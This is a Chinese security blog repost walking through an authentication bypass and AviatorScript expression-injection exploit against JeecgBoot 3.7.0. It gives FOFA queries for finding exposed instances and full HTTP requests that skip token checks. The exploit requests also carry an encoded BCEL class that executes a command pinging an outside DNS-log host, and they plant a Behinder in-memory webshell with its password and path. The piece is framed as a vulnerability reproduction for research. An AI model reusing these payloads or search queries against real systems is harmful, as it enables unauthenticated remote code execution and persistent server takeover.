JeecgBoot 权限绕过漏洞:AviatorScript 表达式注入问题剖析

admin 2024年10月30日10:22:52评论144 views字数 26351阅读87分50秒阅读模式

 

01
漏洞介绍
JeecgBoot 权限绕过AviatorScript表达式注入

JeecgBoot 权限绕过漏洞:AviatorScript 表达式注入问题剖析

【产品介绍】

JeecgBoot是一款基于BPM的低代码平台!前后端分离架构 SpringBoot 2.x/3.x,SpringCloud,Ant Design&Vue3,Mybatis-plus,Shiro,JWT,支持微服务。强大的代码生成器让前后端代码一键生成,实现低代码开发! JeecgBoot引领新低代码开发模式 OnlineCoding-> 代码生成器-> 手工MERGE, 帮助Java项目解决70%的重复工作,让开发更多关注业务,既能快速提高效率,节省研发成本,同时又不失灵活性!一系列低代码能力:Online表单、Online报表、Online图表、仪表盘/门户设计、表单设计、流程设计、报表设计、大屏设计 等等
【漏洞介绍】
    JeecgBoot存在安全隐患,攻击者无需通过身份验证即可利用jmLink或sharetoken参数,或者通过JmReport-Share-Token请求头绕过权限校验,进而访问系统的后台接口。这种漏洞可能会被进一步利用,攻击者有可能远程执行代码或植入恶意软件,最终可能导致服务器被控制。
网络安全
共筑防线
JeecgBoot 权限绕过漏洞:AviatorScript 表达式注入问题剖析

JeecgBoot 权限绕过漏洞:AviatorScript 表达式注入问题剖析

02
漏洞复现
分析、复现
JeecgBoot 权限绕过漏洞:AviatorScript 表达式注入问题剖析

【FOFA】

title=="JeecgBoot 企业级低代码平台" || body="window._CONFIG['imgDomainURL'] = 'http://localhost:8080/jeecg-boot/" || title="Jeecg-Boot 企业级快速开发平台 " || title="Jeecg 快速开发平台 " || body="'http://fileview.jeecg.com/onlinePreview'" || body=" 积木报表 " || body="jmreport"

【影响版本】

3.7.0_all

JeecgBoot 权限绕过漏洞:AviatorScript 表达式注入问题剖析

03
环境搭建
构建漏洞练习环境
【搭建环境】

  • Windows 11 专业版
  • IntelliJ IDEA 2024.2.1
  • jdk-8u131
  • maven-3.9.9
  • MySQL 8.4
  • redis 5.0
  • Navicat Premium 16
  • node-v20.15.0 -x64

【系统下载地址】

https://github.com/jeecgboot/JeecgBoot/archive/refs/tags/v3.7.0_all.zip

【系统搭建步骤】

数据库:使用Navicat Premium 16 连接 MySQL

JeecgBoot 权限绕过漏洞:AviatorScript 表达式注入问题剖析

浏览目录,找到SQL文件打开,然后再开始运行。

JeecgBoot 权限绕过漏洞:AviatorScript 表达式注入问题剖析

JeecgBoot 权限绕过漏洞:AviatorScript 表达式注入问题剖析

后端代码

IDEA配置

JeecgBoot 权限绕过漏洞:AviatorScript 表达式注入问题剖析

配置Maven

JeecgBoot 权限绕过漏洞:AviatorScript 表达式注入问题剖析

打开项目

JeecgBoot 权限绕过漏洞:AviatorScript 表达式注入问题剖析

要是没有像上面截图那样,弹出构建脚本的提示,可以进入项目主pom文件,右键 点击重新加载项目。

JeecgBoot 权限绕过漏洞:AviatorScript 表达式注入问题剖析

全新使用的IDEA,请先配置好 Maven,我这里无法一一复现之前坑点了。只能截一个这样的图来展示。

JeecgBoot 权限绕过漏洞:AviatorScript 表达式注入问题剖析

启动项目

JeecgBoot 权限绕过漏洞:AviatorScript 表达式注入问题剖析

如果启动过程会报错,点击JAR清单。

JeecgBoot 权限绕过漏洞:AviatorScript 表达式注入问题剖析

后端启动完毕

JeecgBoot 权限绕过漏洞:AviatorScript 表达式注入问题剖析

【前端代码】

点击终端

JeecgBoot 权限绕过漏洞:AviatorScript 表达式注入问题剖析

进入前端目录,下载依赖 存在报错

JeecgBoot 权限绕过漏洞:AviatorScript 表达式注入问题剖析

换条命令,下载依赖成功

npm install --legacy-peer-deps

JeecgBoot 权限绕过漏洞:AviatorScript 表达式注入问题剖析

启动项目成功

JeecgBoot 权限绕过漏洞:AviatorScript 表达式注入问题剖析

在物理机访问虚拟机地址,系统访问成功。

JeecgBoot 权限绕过漏洞:AviatorScript 表达式注入问题剖析

默认账号 admin,默认密码123456

04
漏洞复现
分析、复现
【漏洞功能点】
    找到漏洞点,积木报表设计
JeecgBoot 权限绕过漏洞:AviatorScript 表达式注入问题剖析

如图,所示 存在Token认证的

JeecgBoot 权限绕过漏洞:AviatorScript 表达式注入问题剖析

点击新建报表

JeecgBoot 权限绕过漏洞:AviatorScript 表达式注入问题剖析

【漏洞探测】

通过`/jeecg-boot/jmreport/excelQuery`接口,获取报表列表

JeecgBoot 权限绕过漏洞:AviatorScript 表达式注入问题剖析

GET /jeecg-boot/jmreport/excelQuery?pageNo=1&pageSize=10&reportType=datainfo&previousPage=xxx&jmLink=YWFhfHxiYmI HTTP/1.1
Host: 192.168.229.148:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
JmReport-Tenant-Id: null
tenantId: null
X-Tenant-Id: null
Content-Type: application/json;charset=utf-8
Connection: close


通过`/jeecg-boot/jmreport/excelQueryName`接口,确认报表存在

JeecgBoot 权限绕过漏洞:AviatorScript 表达式注入问题剖析

POST /jeecg-boot/jmreport/excelQueryName?&previousPage=xxx&jmLink=YWFhfHxiYmI HTTP/1.1
Host: 192.168.229.148:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=UTF-8
JmReport-Tenant-Id: null
tenantId: null
X-Tenant-Id: null
Content-Length: 27
Origin: http://192.168.229.148:8080
Connection: close

{"id":"995454479494017024"}


通过`/jeecg-boot/jmreport/get/`接口,获取报表数据

JeecgBoot 权限绕过漏洞:AviatorScript 表达式注入问题剖析

新建报表:假设为了不影响目标单位的数据,咱们可以利用`/jeecg-boot/jmreport/save`新建一个报表,获取一个新的报表ID,然后再写入测试数据。

JeecgBoot 权限绕过漏洞:AviatorScript 表达式注入问题剖析

POST /jeecg-boot/jmreport/save?previousPage=xxx&jmLink=YWFhfHxiYmI HTTP/1.1
Host: 192.168.229.148:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=UTF-8
Content-Length: 2
Connection: close

{}


我们拿到没有使用过的ID,再来创建表格

JeecgBoot 权限绕过漏洞:AviatorScript 表达式注入问题剖析

POST /jeecg-boot/jmreport/save?previousPage=xxx&jmLink=YWFhfHxiYmI HTTP/1.1
Host: 192.168.229.148:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=UTF-8
JmReport-Tenant-Id: null
tenantId: null
X-Tenant-Id: null
JmReport-Share-Token: aaa
Content-Length: 863
Connection: close

{"designerObj":{"id":"1010862554803597312","name":"Demo","type":"datainfo"},"name":"sheet1","freeze":"A1","freezeLineColor":"rgb(185, 185, 185)","styles":[],"displayConfig":{},"printConfig":{"paper":"A4","width":210,"height":297,"definition":1,"isBackend":false,"marginX":10,"marginY":10,"layout":"portrait","printCallBackUrl":""},"merges":[],"rows":{"0":{"cells":{"0":{"text":"123456 "}}},"1":{"cells":{"0":{"text":"Test"}}},"len":100},"cols":{"len":50},"validations":[],"autofilter":{},"dbexps":[],"dicts":[],"loopBlockList":[],"zonedEditionList":[],"fixedPrintHeadRows":[],"fixedPrintTailRows":[],"rpbar":{"show":true,"pageSize":"","btnList":[]},"hiddenCells":[],"hidden":{"rows":[],"cols":[]},"background":false,"area":{"sri":1,"sci":0,"eri":1,"eci":0,"width":100,"height":25},"dataRectWidth":100,"excel_config_id":"1010862554803597312","pyGroupEngine":false}


【漏洞利用】
低版本JDK 命令执行

JeecgBoot 权限绕过漏洞:AviatorScript 表达式注入问题剖析

POST /jeecg-boot/jmreport/save?previousPage=xxx&jmLink=YWFhfHxiYmI HTTP/1.1
Host: 192.168.229.148:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=UTF-8
JmReport-Tenant-Id: null
tenantId: null
X-Tenant-Id: null
JmReport-Share-Token: aaa
Content-Length: 1724
Connection: close

{"designerObj":{"id":"1010862554803597312","name":"Demo","type":"datainfo"},"name":"sheet1","freeze":"A1","freezeLineColor":"rgb(185, 185, 185)","styles":[],"displayConfig":{},"printConfig":{"paper":"A4","width":210,"height":297,"definition":1,"isBackend":false,"marginX":10,"marginY":10,"layout":"portrait","printCallBackUrl":""},"merges":[],"rows":{"0":{"cells":{"0":{"text":"=(c=Class.forName("$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$5dP$cbN$c2$40$U$3d$D$a5$c5Z$FD$7c$r$s$ea$c6$c2$c2n$dca$dc$YLL$88$Y$n$eeK$bd$nC$da$vi$H$82$7f$a5$h5$$$fc$A$3f$cax$db$u$Q$t$99$fb89$e7$be$be$be$3f$3e$B$9c$e3$c0F$JU$h5le$a6na$dbBC$c0$bc$90J$eaK$81$a2$db$7c$Q0$ae$e2G$S$a8t$a5$a2$dbi4$a4d$e0$PCF$M$9aS$mp$eav$c7$fe$cc$f7B_$8d$bc$beN$a4$g$b5$9b$x$d0$5d$S$H$94$a6m$B$bb3$Ph$a2e$acR$L$3b$9c$f7$e3i$S$d0$b5$cc$aam$M$u$d5$9d$99$M$cf2$a9$D$T$96$85$5d$H$7b$d8w$60c$5d$e0$q$88$p$8f$e6$7e4$J$c9$8b$u$8a$93$t$c9$b1$af$b4$f7$a7$V$a8$$$h$f7$86c$K$b4$40$3d$87d$ec$dd$f4$W$D$I$d4$96$c4$fb$a9$d22$e2$Z$ec$R$e9E$d2pW$b7$f8$85$db8$86$c1g$cb$5e$B$o$9b$92m$99$b3C$f6$82$7d$a9$f5$G$f1$c2$81$c0$g$5b3$H$N$8ey$H$96d$d4$a3$5c$K$94$dfQh$bd$a2$f8$fc$8fm$c2$c95$7c$U$fe$9by$ab$ca$P$o$ZcR$b7$B$A$A",true,new com.sun.org.apache.bcel.internal.util.ClassLoader()))+(c.exec("ping opcjud.dnslog.cn"));"}}},"1":{"cells":{"0":{"text":"Test"}}},"len":100},"cols":{"len":50},"validations":[],"autofilter":{},"dbexps":[],"dicts":[],"loopBlockList":[],"zonedEditionList":[],"fixedPrintHeadRows":[],"fixedPrintTailRows":[],"rpbar":{"show":true,"pageSize":"","btnList":[]},"hiddenCells":[],"hidden":{"rows":[],"cols":[]},"background":false,"area":{"sri":1,"sci":0,"eri":1,"eci":0,"width":100,"height":25},"dataRectWidth":100,"excel_config_id":"1010862554803597312","pyGroupEngine":false}


触发

JeecgBoot 权限绕过漏洞:AviatorScript 表达式注入问题剖析

POST /jeecg-boot/jmreport/show?previousPage=xxx&jmLink=YWFhfHxiYmI&token=123123 HTTP/1.1
Host: 192.168.229.148:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=UTF-8
JmReport-Tenant-Id: null
tenantId: null
X-Tenant-Id: null
JmReport-Share-Token: aaa
Content-Length: 28
Connection: close

{"id":"1010862554803597312"}


回显

JeecgBoot 权限绕过漏洞:AviatorScript 表达式注入问题剖析

【高版本JDK 内存马使用】

Behinder

密码: password

请求路径: /showme

请求头: Referer: Fvjxgwzbm

JeecgBoot 权限绕过漏洞:AviatorScript 表达式注入问题剖析

POST /jeecg-boot/jmreport/save?previousPage=xxx&jmLink=YWFhfHxiYmI HTTP/1.1
Host: 192.168.229.148:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=UTF-8
JmReport-Tenant-Id: null
tenantId: null
X-Tenant-Id: null
JmReport-Share-Token: aaa
Content-Length: 18598
Connection: close

{"designerObj":{"id":"1010862554803597312","name":"Demo","type":"datainfo"},"name":"sheet1","freeze":"A1","freezeLineColor":"rgb(185, 185, 185)","styles":[],"displayConfig":{},"printConfig":{"paper":"A4","width":210,"height":297,"definition":1,"isBackend":false,"marginX":10,"marginY":10,"layout":"portrait","printCallBackUrl":""},"merges":[],"rows":{"0":{"cells":{"0":{"text":"=(use org.springframework.cglib.core.*;use org.apache.commons.codec.binary.*;ReflectUtils.defineClass("org.apache.logging.l.KeyUtils", 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触发


JeecgBoot 权限绕过漏洞:AviatorScript 表达式注入问题剖析

连接冰蝎内存马

JeecgBoot 权限绕过漏洞:AviatorScript 表达式注入问题剖析

【参考文章】

https://xz.aliyun.com/t/15405?time__1311=GqjxnDuDRifxlxGgx%2BxCw4WwRtjY4edGCfeD
03

原文始发于微信公众号(东方隐侠安全团队):精彩复现|JeecgBoot 权限绕过漏洞:AviatorScript 表达式注入问题剖析

 

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
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  • 本文由 发表于 2024年10月30日10:22:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JeecgBoot 权限绕过漏洞:AviatorScript 表达式注入问题剖析https://cn-sec.com/archives/3331150.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

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